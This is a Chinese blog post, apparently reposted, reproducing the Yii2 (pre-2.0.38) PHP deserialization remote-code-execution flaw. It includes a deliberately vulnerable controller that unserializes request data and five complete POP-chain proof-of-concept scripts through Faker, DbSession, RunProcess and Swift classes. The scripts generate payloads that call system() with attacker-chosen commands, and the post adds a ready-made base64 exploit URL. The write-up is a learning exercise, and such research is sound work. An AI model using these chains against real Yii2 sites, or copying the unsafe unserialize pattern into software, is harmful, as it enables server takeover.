ICode9

精准搜索请尝试: 精确搜索
首页 > 其他分享> 文章详细

yii2 反序列化漏洞复现与分析

2021-11-29 23:01:35  阅读:312  来源: 互联网

标签:__ function 序列化 construct call 复现 new yii2 public


环境搭建

漏洞在yii2.0.38之前的版本,下载2.0.37basic版本

https://github.com/yiisoft/yii2/releases/tag/2.0.37

修改/config/web文件的值

image-20211129162401843

在当前目录输入php yii serve启动

image-20211129162548549

复现

先构造反序列化的入口

新建一个controller

<?php


namespace app\controllers;


class SerController extends \yii\web\Controller
{
    public function actionSer($data){
        return unserialize(base64_decode($data));

    }
}

image-20211129163721102

poc

<?php

namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'whoami';
        }
    }
}
namespace Faker {

    use yii\rest\IndexAction;

    class Generator
    {
        protected $formatters;

        public function __construct()
        {
            $this->formatters['close'] = [new IndexAction(), 'run'];
        }
    }
}
namespace yii\db{

    use Faker\Generator;

    class BatchQueryResult{
        private $_dataReader;
        public function __construct()
        {
            $this->_dataReader=new Generator();
        }
    }
}
namespace{

    use yii\db\BatchQueryResult;

    echo base64_encode(serialize(new BatchQueryResult()));
}

提交

http://localhost:8080/?r=ser/ser&data=TzoyMzoieWlpXGRiXEJhdGNoUXVlcnlSZXN1bHQiOjE6e3M6MzY6IgB5aWlcZGJcQmF0Y2hRdWVyeVJlc3VsdABfZGF0YVJlYWRlciI7TzoxNToiRmFrZXJcR2VuZXJhdG9yIjoxOntzOjEzOiIAKgBmb3JtYXR0ZXJzIjthOjE6e3M6NToiY2xvc2UiO2E6Mjp7aTowO086MjA6InlpaVxyZXN0XEluZGV4QWN0aW9uIjoyOntzOjExOiJjaGVja0FjY2VzcyI7czo2OiJzeXN0ZW0iO3M6MjoiaWQiO3M6Njoid2hvYW1pIjt9aToxO3M6MzoicnVuIjt9fX19

image-20211129163822424

分析

复现链一

入口是BatchQueryResult的destruct

image-20211129164323208

跟进reset

image-20211129164344037

这里的_dataReader是可控的,并且调用了close方法,我们可以寻找有__call方法的类,当此类的对象中调用不存在的方法时会调用__call方法

全局搜索__call,找到\vendor\fzaninotto\faker\src\Faker\Generator.php中可用的方法

image-20211129164949076

close为无参函数,最终调用为format(close)

跟进format

image-20211129165309978

继续跟进getFormatter

image-20211129165412311

formatters是我们可控的,所以这个函数的返回值是我们可控的,那么call_user_func_array的第一个参数就是可控的,但第二个参数是空的,所以我们要找到可用的无参函数,或者单纯的调用phpinfo()这种无参函数。

可使用正则寻找无参函数

function \w+\(\)

image-20211129165918198

大佬的思路是搜索call_user_func函数

function \w*\(\)\n? *\{(.*\n)+ *call_user_func

image-20211129170428647

rest/IndexAction.php比较好利用

image-20211129170538368

checkAccessid都是可控的,我们可以调用任意方法了。

复现链二

还是以BatchQueryResult类的__destruct为入口,但不利用__call了,直接找可利用的close函数

找到advanced\vendor\yiisoft\yii2\web\DbSession.php这个类中的close()方法

image-20211129213554142

跟进composeFields()

    protected function composeFields($id = null, $data = null)
    {
        $fields = $this->writeCallback ? call_user_func($this->writeCallback, $this) : [];
        if ($id !== null) {
            $fields['id'] = $id;
        }
        if ($data !== null) {
            $fields['data'] = $data;
        }
        return $fields;
    }
  • 如果传递一个数组给 call_user_func_array(),数组的每个元素的值都会当做一个参数传递给回调函数。
  • 如果传递一个数组给 call_user_func(),整个数组会当做一个参数传递给回调函数,数字的 key 还会保留住。

call_user_func($this->writeCallback, $this) 且writeCallback可控,然后再利用这个调用上面链里的run方法就行

poc

<?php

namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'whoami';
        }
    }
}
namespace yii\db{

    use yii\web\DbSession;

    class BatchQueryResult
    {
        private $_dataReader;
        public function __construct(){
            $this->_dataReader=new DbSession();
        }
    }
}
namespace yii\web{

    use yii\rest\IndexAction;

    class DbSession
    {
        public $writeCallback;
        public function __construct(){
            $this->writeCallback=[new IndexAction(),'run'];
        }
    }
}

namespace{

    use yii\db\BatchQueryResult;

    echo base64_encode(serialize(new BatchQueryResult()));
}

image-20211129214059163

复现链三

https://github.com/yiisoft/yii2/compare/2.0.37…2.0.38

2.0.38,增加了__wakeup(),所以BatchQueryResult不能再反序列化了

image-20211129175422087

那我们可以再找个新的反序列化入口

全局搜索__destruct发现了RunProcess类可以利用

image-20211129175646025

跟进

image-20211129175845274

这里的process是可控的,我们照样可以利用之前的链调用__call方法

poc

<?php

namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'whoami';
        }
    }
}
namespace Faker {

    use yii\rest\IndexAction;

    class Generator
    {
        protected $formatters;

        public function __construct()
        {
            $this->formatters['isRunning'] = [new IndexAction(), 'run'];
        }
    }
}
namespace Codeception\Extension{

    use Faker\Generator;

    class RunProcess
    {
        private $processes = [];
        public function __construct(){
            $this->processes[]=new Generator();
        }
    }
}
namespace{


    use Codeception\Extension\RunProcess;

    echo base64_encode(serialize(new RunProcess()));
}

利用成功

image-20211129180202878

复现链四

lib\classes\Swift\KeyCache\DiskKeyCache.php 中的destruct也可以作为入口

image-20211129202149621

跟进

image-20211129202304871

其中涉及到了字符串拼接,可以寻找__toString方法

see.php中的__toString可以利用

    public function __toString() : string
    {
        return $this->refers . ($this->description ? ' ' . $this->description->render() : '');
    }
}

$this->description是我们可控的,这里又可以调用__call

<?php

namespace yii\rest{
    class IndexAction{
        public $checkAccess;
        public $id;
        public function __construct(){
            $this->checkAccess = 'system';
            $this->id = 'whoami';
        }
    }
}
namespace Faker {

    use yii\rest\IndexAction;

    class Generator
    {
        protected $formatters;

        public function __construct()
        {
            $this->formatters['render'] = [new IndexAction(), 'run'];
        }
    }
}
namespace phpDocumentor\Reflection\DocBlock\Tags{

    use Faker\Generator;

    class See
    {
        protected $description;
        public function __construct(){
            $this->description=new Generator();
        }
    }
}

namespace{

    use phpDocumentor\Reflection\DocBlock\Tags\See;
    class Swift_KeyCache_DiskKeyCache
    {
        private $keys = [];
        private $path;
        public function __construct(){
            $this->path=new See();
            $this->keys=array(
                'hello'=>'world'
            );
        }
    }

    echo base64_encode(serialize(new Swift_KeyCache_DiskKeyCache()));
}

image-20211129203207033

在寻找过程中发现还有的可以利用,但有的尝试后会错误,貌似是__toString中不能引起异常,有点迷…

然后看到了信师傅https://zhuanlan.zhihu.com/p/257811755说是视图错误不回显,命令是执行了的,但我试的那一个还是没成功运行命令,麻了…

复现链五

这个链之前有个比赛出过

同样也是vendor/codeception/codeception/ext/RunProcess.php__destruct为入口

    public function __destruct()
    {
        $this->stopProcess();
    }

    public function stopProcess()
    {
        foreach (array_reverse($this->processes) as $process) {
            /** @var $process Process  **/
            if (!$process->isRunning()) {
                continue;
            }
            $this->output->debug('[RunProcess] Stopping ' . $process->getCommandLine());
            $process->stop();
        }
        $this->processes = [];
    }
}

通过isRunning()调用__call方法

之前是用vendor/fakerphp/faker/src/Faker/Generator.php调用__call 方法,但新版本调用了wakeup做限制

public function __wakeup()
    {
        $this->formatters = [];
    }

这里使用

**vendor/fakerphp/faker/src/Faker/ValidGenerator.php**的类__call

    public function __call($name, $arguments)
    {
        $i = 0;
        do {
            $res = call_user_func_array(array($this->generator, $name), $arguments);
            $i++;
            if ($i > $this->maxRetries) {
                throw new \OverflowException(sprintf('Maximum retries of %d reached without finding a valid value', $this->maxRetries));
            }
        } while (!call_user_func($this->validator, $res));

        return $res;
    }
}

$this->generator,$this->validator,$this->maxRetries,都可控,但这没啥用,name的值固定了,所以还是利用只能这个调用其它函数的__call,但再次调用其它的call不如直接就调用那个call。

不过vendor/fakerphp/faker/src/Faker/DefaultGenerator.php中的call可以返回任意值(default可控

image-20211129223544532

可以将 t h i s − > d e f a u l t 设 置 为 我 们 的 命 令 , 那 r e s 的 值 就 是 我 们 的 命 令 , 再 控 制 this->default设置为我们的命令,那res的值就是我们的命令,再控制 this−>default设置为我们的命令,那res的值就是我们的命令,再控制this->validator为system就可以执行任意命令了

poc

<?php
namespace Faker{

    class DefaultGenerator{
        protected $default ;
        function __construct($argv)
        {
            $this->default = $argv;
        }
    }

    class ValidGenerator{
        protected $generator;
        protected $validator;
        protected $maxRetries;
        function __construct($command,$argv)
        {
            $this->generator = new DefaultGenerator($argv);
            $this->validator = $command;
            $this->maxRetries = 99999999;
        }
    }
}

namespace Codeception\Extension{
    use Faker\ValidGenerator;
    class RunProcess{
        private $processes = [] ;
        function __construct($command,$argv)
        {
            $this->processes[] = new ValidGenerator($command,$argv);
        }
    }
}

namespace {
    use Codeception\Extension\RunProcess;
    $exp = new RunProcess('system','whoami');
    echo(base64_encode(serialize($exp)));
    exit();
}

image-20211129224113457

参考

https://blog.csdn.net/qq_43571759/article/details/108804083

https://zhuanlan.zhihu.com/p/257811755

https://www.anquanke.com/post/id/217929#h2-3

https://xz.aliyun.com/t/9420

标签:__,function,序列化,construct,call,复现,new,yii2,public
来源: https://blog.csdn.net/meteox/article/details/121621748

本站声明: 1. iCode9 技术分享网(下文简称本站)提供的所有内容,仅供技术学习、探讨和分享;
2. 关于本站的所有留言、评论、转载及引用,纯属内容发起人的个人观点,与本站观点和立场无关;
3. 关于本站的所有言论和文字,纯属内容发起人的个人观点,与本站观点和立场无关;
4. 本站文章均是网友提供,不完全保证技术分享内容的完整性、准确性、时效性、风险性和版权归属;如您发现该文章侵犯了您的权益,可联系我们第一时间进行删除;
5. 本站为非盈利性的个人网站,所有内容不会用来进行牟利,也不会利用任何形式的广告来间接获益,纯粹是为了广大技术爱好者提供技术内容和技术思想的分享性交流网站。

专注分享技术,共同学习,共同进步。侵权联系[81616952@qq.com]

Copyright (C)ICode9.com, All Rights Reserved.

ICode9版权所有